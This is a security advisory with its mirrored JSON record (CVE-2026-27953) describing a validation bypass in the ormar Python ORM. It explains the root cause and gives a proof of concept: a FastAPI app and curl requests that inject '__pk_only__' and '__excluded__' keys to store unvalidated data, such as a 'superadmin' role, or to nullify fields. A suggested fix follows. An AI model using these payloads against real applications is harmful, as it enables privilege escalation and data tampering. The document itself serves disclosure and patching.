GHSA-F964-WHRQ-44H8
Vulnerability from github – Published: 2026-03-19 16:27 – Updated: 2026-03-20 21:35Summary
A Pydantic validation bypass in ormar's model constructor allows any unauthenticated user to skip all field validation — type checks, constraints, @field_validator/@model_validator decorators, choices enforcement, and required-field checks — by injecting "__pk_only__": true into a JSON request body. The unvalidated data is subsequently persisted to the database. This affects the canonical usage pattern recommended in ormar's official documentation and examples.
A secondary __excluded__ parameter injection uses the same design pattern to selectively nullify arbitrary model fields during construction.
Details
Root cause: NewBaseModel.__init__ (ormar/models/newbasemodel.py, line 128) pops __pk_only__ directly from user-supplied **kwargs before any validation occurs:
# ormar/models/newbasemodel.py, lines 128-142
pk_only = kwargs.pop("__pk_only__", False) # ← extracted from user kwargs
object.__setattr__(self, "__pk_only__", pk_only)
new_kwargs, through_tmp_dict = self._process_kwargs(kwargs)
if not pk_only:
# Normal path: full Pydantic validation
new_kwargs = self.serialize_nested_models_json_fields(new_kwargs)
self.__pydantic_validator__.validate_python(
new_kwargs, self_instance=self
)
else:
# Bypass path: NO validation at all
fields_set = {self.ormar_config.pkname}
values = new_kwargs
object.__setattr__(self, "__dict__", values) # raw dict written directly
object.__setattr__(self, "__pydantic_fields_set__", fields_set)
The __pk_only__ flag was designed as an internal optimization for creating lightweight FK placeholder instances in ormar/fields/foreign_key.py (lines 41, 527). However, because it is extracted from **kwargs via .pop() with a False default, any external caller that passes user-controlled data to the model constructor can inject this flag.
Why the canonical FastAPI + ormar pattern is vulnerable:
Ormar's official example (examples/fastapi_quick_start.py, lines 55-58) recommends using ormar models directly as FastAPI request body parameters:
@app.post("/items/", response_model=Item)
async def create_item(item: Item):
await item.save()
return item
FastAPI parses the JSON body and calls TypeAdapter.validate_python(body_dict), which triggers ormar's __init__. The __pk_only__ key is popped at line 128 before Pydantic's validator inspects the data, so Pydantic never sees it — even extra='forbid' would not prevent this, because the key is already consumed by ormar.
The ormar Pydantic model_config (set in ormar/models/helpers/pydantic.py, line 108) does not set extra='forbid', providing no protection even in theory.
What is bypassed when __pk_only__=True:
- All type coercion and type checking (e.g., string for int field)
- max_length constraints on String fields
- choices constraints
- All @field_validator and @model_validator decorators
- nullable=False enforcement at the Pydantic level
- Required-field enforcement (only pkname is put in fields_set)
- serialize_nested_models_json_fields() preprocessing
Save path persists unvalidated data to the database:
After construction with pk_only=True, calling .save() (ormar/models/model.py, lines 89-107) reads fields directly from self.__dict__ via _extract_model_db_fields(), then executes table.insert().values(**self_fields) — persisting the unvalidated data to the database with no re-validation.
Secondary vulnerability — __excluded__ injection:
The same pattern applies to __excluded__ at ormar/models/newbasemodel.py, line 292:
excluded: set[str] = kwargs.pop("__excluded__", set())
At lines 326-329, fields listed in __excluded__ are silently set to None:
for field_to_nullify in excluded:
new_kwargs[field_to_nullify] = None
An attacker can inject "__excluded__": ["email", "password_hash"] to nullify arbitrary fields during construction.
Affected entry points:
| Entry Point | Exploitable? |
|---|---|
async def create_item(item: Item) (FastAPI route) |
Yes |
Model.objects.create(**user_dict) |
Yes |
Model(**user_dict) |
Yes |
Model.model_validate(user_dict) |
Yes |
PoC
Step 1: Create a FastAPI + ormar application using the canonical pattern from ormar's docs:
# app.py
from contextlib import asynccontextmanager
import sqlalchemy
import uvicorn
from fastapi import FastAPI
import ormar
DATABASE_URL = "sqlite+aiosqlite:///test.db"
ormar_base_config = ormar.OrmarConfig(
database=ormar.DatabaseConnection(DATABASE_URL),
metadata=sqlalchemy.MetaData(),
)
@asynccontextmanager
async def lifespan(app: FastAPI):
database_ = app.state.database
if not database_.is_connected:
await database_.connect()
# Create tables
engine = sqlalchemy.create_engine(DATABASE_URL.replace("+aiosqlite", ""))
ormar_base_config.metadata.create_all(engine)
engine.dispose()
yield
database_ = app.state.database
if database_.is_connected:
await database_.disconnect()
app = FastAPI(lifespan=lifespan)
database = ormar.DatabaseConnection(DATABASE_URL)
app.state.database = database
class User(ormar.Model):
ormar_config = ormar_base_config.copy(tablename="users")
id: int = ormar.Integer(primary_key=True)
name: str = ormar.String(max_length=50)
email: str = ormar.String(max_length=100)
role: str = ormar.String(max_length=20, default="user")
balance: int = ormar.Integer(default=0)
# Canonical ormar pattern from official examples
@app.post("/users/", response_model=User)
async def create_user(user: User):
await user.save()
return user
if __name__ == "__main__":
uvicorn.run(app, host="127.0.0.1", port=8000)
Step 2: Send a normal request (validation works correctly):
# This correctly rejects — "name" exceeds max_length=50
curl -X POST http://127.0.0.1:8000/users/ \
-H "Content-Type: application/json" \
-d '{
"name": "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA",
"email": "user@example.com"
}'
# Returns: 422 Validation Error
Step 3: Inject __pk_only__ to bypass ALL validation:
curl -X POST http://127.0.0.1:8000/users/ \
-H "Content-Type: application/json" \
-d '{
"__pk_only__": true,
"name": "",
"email": "not-an-email",
"role": "superadmin",
"balance": -99999
}'
# Returns: 200 OK — all fields persisted to database WITHOUT validation
# - "name" is empty despite being required
# - "email" is not a valid email
# - "role" is "superadmin" (bypassing any validator that restricts to "user"/"admin")
# - "balance" is negative (bypassing any ge=0 constraint)
Step 4: Inject __excluded__ to nullify arbitrary fields:
curl -X POST http://127.0.0.1:8000/users/ \
-H "Content-Type: application/json" \
-d '{
"__excluded__": ["email", "role"],
"name": "attacker",
"email": "will-be-nullified@example.com",
"role": "will-be-nullified"
}'
# Returns: 200 OK — email and role are set to NULL regardless of input
Impact
Who is impacted: Every application using ormar's canonical FastAPI integration pattern (async def endpoint(item: OrmarModel)) is vulnerable. This is the primary usage pattern documented in ormar's official examples and documentation.
Vulnerability type: Complete Pydantic validation bypass.
Impact scenarios:
- Privilege escalation: If a model has a role or is_admin field with a Pydantic validator restricting values to "user", an attacker can set role="superadmin" by bypassing the validator
- Data integrity violation: Type constraints (max_length, ge/le, regex patterns) are all bypassed — invalid data is persisted to the database
- Business logic bypass: Custom @field_validator and @model_validator decorators (e.g., enforcing email format, age ranges, cross-field dependencies) are entirely skipped
- Field nullification (via __excluded__): Audit fields, tracking fields, or required business fields can be selectively set to NULL
Suggested fix:
Replace kwargs.pop("__pk_only__", False) with a keyword-only parameter that cannot be injected via **kwargs:
# Before (vulnerable)
def __init__(self, *args: Any, **kwargs: Any) -> None:
...
pk_only = kwargs.pop("__pk_only__", False)
# After (secure)
def __init__(self, *args: Any, _pk_only: bool = False, **kwargs: Any) -> None:
...
object.__setattr__(self, "__pk_only__", _pk_only)
Apply the same fix to __excluded__:
# Before (vulnerable)
excluded: set[str] = kwargs.pop("__excluded__", set())
# After (secure) — pass via keyword-only _excluded parameter
def __init__(self, *args: Any, _pk_only: bool = False, _excluded: set | None = None, **kwargs: Any) -> None:
...
# In _process_kwargs:
excludes = _excluded or set()
Internal callers in foreign_key.py would pass _pk_only=True as a named argument. Keyword-only parameters prefixed with _ cannot be injected via JSON body deserialization or Model(**user_dict) unpacking.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.23.0"
},
"package": {
"ecosystem": "PyPI",
"name": "ormar"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.23.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-27953"
],
"database_specific": {
"cwe_ids": [
"CWE-20"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-19T16:27:43Z",
"nvd_published_at": "2026-03-19T21:17:09Z",
"severity": "HIGH"
},
"details": "### Summary\n\nA Pydantic validation bypass in `ormar`\u0027s model constructor allows any unauthenticated user to skip **all** field validation \u2014 type checks, constraints, `@field_validator`/`@model_validator` decorators, choices enforcement, and required-field checks \u2014 by injecting `\"__pk_only__\": true` into a JSON request body. The unvalidated data is subsequently persisted to the database. This affects the **canonical usage pattern** recommended in ormar\u0027s official documentation and examples.\n\nA secondary `__excluded__` parameter injection uses the same design pattern to selectively nullify arbitrary model fields during construction.\n\n### Details\n\n**Root cause:** `NewBaseModel.__init__` ([`ormar/models/newbasemodel.py`, line 128](https://github.com/collerek/ormar/blob/master/ormar/models/newbasemodel.py#L128)) pops `__pk_only__` directly from user-supplied `**kwargs` before any validation occurs:\n\n```python\n# ormar/models/newbasemodel.py, lines 128-142\npk_only = kwargs.pop(\"__pk_only__\", False) # \u2190 extracted from user kwargs\nobject.__setattr__(self, \"__pk_only__\", pk_only)\n\nnew_kwargs, through_tmp_dict = self._process_kwargs(kwargs)\n\nif not pk_only:\n # Normal path: full Pydantic validation\n new_kwargs = self.serialize_nested_models_json_fields(new_kwargs)\n self.__pydantic_validator__.validate_python(\n new_kwargs, self_instance=self\n )\nelse:\n # Bypass path: NO validation at all\n fields_set = {self.ormar_config.pkname}\n values = new_kwargs\n object.__setattr__(self, \"__dict__\", values) # raw dict written directly\n object.__setattr__(self, \"__pydantic_fields_set__\", fields_set)\n```\n\nThe `__pk_only__` flag was designed as an internal optimization for creating lightweight FK placeholder instances in [`ormar/fields/foreign_key.py` (lines 41, 527)](https://github.com/collerek/ormar/blob/master/ormar/fields/foreign_key.py#L41). However, because it is extracted from `**kwargs` via `.pop()` with a `False` default, any external caller that passes user-controlled data to the model constructor can inject this flag.\n\n**Why the canonical FastAPI + ormar pattern is vulnerable:**\n\nOrmar\u0027s official example ([`examples/fastapi_quick_start.py`, lines 55-58](https://github.com/collerek/ormar/blob/master/examples/fastapi_quick_start.py#L55)) recommends using ormar models directly as FastAPI request body parameters:\n\n```python\n@app.post(\"/items/\", response_model=Item)\nasync def create_item(item: Item):\n await item.save()\n return item\n```\n\nFastAPI parses the JSON body and calls `TypeAdapter.validate_python(body_dict)`, which triggers ormar\u0027s `__init__`. The `__pk_only__` key is popped at line 128 **before** Pydantic\u0027s validator inspects the data, so Pydantic never sees it \u2014 even `extra=\u0027forbid\u0027` would not prevent this, because the key is already consumed by ormar.\n\nThe ormar Pydantic `model_config` (set in [`ormar/models/helpers/pydantic.py`, line 108](https://github.com/collerek/ormar/blob/master/ormar/models/helpers/pydantic.py#L108)) does not set `extra=\u0027forbid\u0027`, providing no protection even in theory.\n\n**What is bypassed when `__pk_only__=True`:**\n- All type coercion and type checking (e.g., string for int field)\n- `max_length` constraints on String fields\n- `choices` constraints\n- All `@field_validator` and `@model_validator` decorators\n- `nullable=False` enforcement at the Pydantic level\n- Required-field enforcement (only `pkname` is put in `fields_set`)\n- `serialize_nested_models_json_fields()` preprocessing\n\n**Save path persists unvalidated data to the database:**\n\nAfter construction with `pk_only=True`, calling `.save()` ([`ormar/models/model.py`, lines 89-107](https://github.com/collerek/ormar/blob/master/ormar/models/model.py#L89)) reads fields directly from `self.__dict__` via `_extract_model_db_fields()`, then executes `table.insert().values(**self_fields)` \u2014 persisting the unvalidated data to the database with no re-validation.\n\n**Secondary vulnerability \u2014 `__excluded__` injection:**\n\nThe same pattern applies to `__excluded__` at [`ormar/models/newbasemodel.py`, line 292](https://github.com/collerek/ormar/blob/master/ormar/models/newbasemodel.py#L292):\n\n```python\nexcluded: set[str] = kwargs.pop(\"__excluded__\", set())\n```\n\nAt lines 326-329, fields listed in `__excluded__` are silently set to `None`:\n\n```python\nfor field_to_nullify in excluded:\n new_kwargs[field_to_nullify] = None\n```\n\nAn attacker can inject `\"__excluded__\": [\"email\", \"password_hash\"]` to nullify arbitrary fields during construction.\n\n**Affected entry points:**\n\n| Entry Point | Exploitable? |\n|---|---|\n| `async def create_item(item: Item)` (FastAPI route) | Yes |\n| `Model.objects.create(**user_dict)` | Yes |\n| `Model(**user_dict)` | Yes |\n| `Model.model_validate(user_dict)` | Yes |\n\n### PoC\n\n**Step 1: Create a FastAPI + ormar application using the canonical pattern from ormar\u0027s docs:**\n\n```python\n# app.py\nfrom contextlib import asynccontextmanager\nimport sqlalchemy\nimport uvicorn\nfrom fastapi import FastAPI\nimport ormar\n\nDATABASE_URL = \"sqlite+aiosqlite:///test.db\"\normar_base_config = ormar.OrmarConfig(\n database=ormar.DatabaseConnection(DATABASE_URL),\n metadata=sqlalchemy.MetaData(),\n)\n\n@asynccontextmanager\nasync def lifespan(app: FastAPI):\n database_ = app.state.database\n if not database_.is_connected:\n await database_.connect()\n # Create tables\n engine = sqlalchemy.create_engine(DATABASE_URL.replace(\"+aiosqlite\", \"\"))\n ormar_base_config.metadata.create_all(engine)\n engine.dispose()\n yield\n database_ = app.state.database\n if database_.is_connected:\n await database_.disconnect()\n\napp = FastAPI(lifespan=lifespan)\ndatabase = ormar.DatabaseConnection(DATABASE_URL)\napp.state.database = database\n\nclass User(ormar.Model):\n ormar_config = ormar_base_config.copy(tablename=\"users\")\n\n id: int = ormar.Integer(primary_key=True)\n name: str = ormar.String(max_length=50)\n email: str = ormar.String(max_length=100)\n role: str = ormar.String(max_length=20, default=\"user\")\n balance: int = ormar.Integer(default=0)\n\n# Canonical ormar pattern from official examples\n@app.post(\"/users/\", response_model=User)\nasync def create_user(user: User):\n await user.save()\n return user\n\nif __name__ == \"__main__\":\n uvicorn.run(app, host=\"127.0.0.1\", port=8000)\n```\n\n**Step 2: Send a normal request (validation works correctly):**\n\n```bash\n# This correctly rejects \u2014 \"name\" exceeds max_length=50\ncurl -X POST http://127.0.0.1:8000/users/ \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\n \"name\": \"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\",\n \"email\": \"user@example.com\"\n }\u0027\n# Returns: 422 Validation Error\n```\n\n**Step 3: Inject `__pk_only__` to bypass ALL validation:**\n\n```bash\ncurl -X POST http://127.0.0.1:8000/users/ \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\n \"__pk_only__\": true,\n \"name\": \"\",\n \"email\": \"not-an-email\",\n \"role\": \"superadmin\",\n \"balance\": -99999\n }\u0027\n# Returns: 200 OK \u2014 all fields persisted to database WITHOUT validation\n# - \"name\" is empty despite being required\n# - \"email\" is not a valid email\n# - \"role\" is \"superadmin\" (bypassing any validator that restricts to \"user\"/\"admin\")\n# - \"balance\" is negative (bypassing any ge=0 constraint)\n```\n\n**Step 4: Inject `__excluded__` to nullify arbitrary fields:**\n\n```bash\ncurl -X POST http://127.0.0.1:8000/users/ \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\n \"__excluded__\": [\"email\", \"role\"],\n \"name\": \"attacker\",\n \"email\": \"will-be-nullified@example.com\",\n \"role\": \"will-be-nullified\"\n }\u0027\n# Returns: 200 OK \u2014 email and role are set to NULL regardless of input\n```\n\n### Impact\n\n**Who is impacted:** Every application using ormar\u0027s canonical FastAPI integration pattern (`async def endpoint(item: OrmarModel)`) is vulnerable. This is the primary usage pattern documented in ormar\u0027s official examples and documentation.\n\n**Vulnerability type:** Complete Pydantic validation bypass.\n\n**Impact scenarios:**\n- **Privilege escalation**: If a model has a `role` or `is_admin` field with a Pydantic validator restricting values to `\"user\"`, an attacker can set `role=\"superadmin\"` by bypassing the validator\n- **Data integrity violation**: Type constraints (`max_length`, `ge`/`le`, regex patterns) are all bypassed \u2014 invalid data is persisted to the database\n- **Business logic bypass**: Custom `@field_validator` and `@model_validator` decorators (e.g., enforcing email format, age ranges, cross-field dependencies) are entirely skipped\n- **Field nullification** (via `__excluded__`): Audit fields, tracking fields, or required business fields can be selectively set to NULL\n\n**Suggested fix:**\n\nReplace `kwargs.pop(\"__pk_only__\", False)` with a keyword-only parameter that cannot be injected via `**kwargs`:\n\n```python\n# Before (vulnerable)\ndef __init__(self, *args: Any, **kwargs: Any) -\u003e None:\n ...\n pk_only = kwargs.pop(\"__pk_only__\", False)\n\n# After (secure)\ndef __init__(self, *args: Any, _pk_only: bool = False, **kwargs: Any) -\u003e None:\n ...\n object.__setattr__(self, \"__pk_only__\", _pk_only)\n```\n\nApply the same fix to `__excluded__`:\n\n```python\n# Before (vulnerable)\nexcluded: set[str] = kwargs.pop(\"__excluded__\", set())\n\n# After (secure) \u2014 pass via keyword-only _excluded parameter\ndef __init__(self, *args: Any, _pk_only: bool = False, _excluded: set | None = None, **kwargs: Any) -\u003e None:\n ...\n # In _process_kwargs:\n excludes = _excluded or set()\n```\n\nInternal callers in `foreign_key.py` would pass `_pk_only=True` as a named argument. Keyword-only parameters prefixed with `_` cannot be injected via JSON body deserialization or `Model(**user_dict)` unpacking.",
"id": "GHSA-f964-whrq-44h8",
"modified": "2026-03-20T21:35:11Z",
"published": "2026-03-19T16:27:43Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/ormar-orm/ormar/security/advisories/GHSA-f964-whrq-44h8"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27953"
},
{
"type": "WEB",
"url": "https://github.com/ormar-orm/ormar/commit/7f22aa21a7614b993970345b392dabb0ccde0ab3"
},
{
"type": "PACKAGE",
"url": "https://github.com/ormar-orm/ormar"
},
{
"type": "WEB",
"url": "https://github.com/ormar-orm/ormar/blob/master/examples/fastapi_quick_start.py#L55"
},
{
"type": "WEB",
"url": "https://github.com/ormar-orm/ormar/blob/master/ormar/fields/foreign_key.py#L41"
},
{
"type": "WEB",
"url": "https://github.com/ormar-orm/ormar/blob/master/ormar/models/helpers/pydantic.py#L108"
},
{
"type": "WEB",
"url": "https://github.com/ormar-orm/ormar/blob/master/ormar/models/model.py#L89"
},
{
"type": "WEB",
"url": "https://github.com/ormar-orm/ormar/blob/master/ormar/models/newbasemodel.py#L128"
},
{
"type": "WEB",
"url": "https://github.com/ormar-orm/ormar/blob/master/ormar/models/newbasemodel.py#L292"
},
{
"type": "WEB",
"url": "https://github.com/ormar-orm/ormar/releases/tag/0.23.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L",
"type": "CVSS_V3"
}
],
"summary": "ormar Pydantic Validation Bypass via __pk_only__ and __excluded__ Kwargs Injection in Model Constructor"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.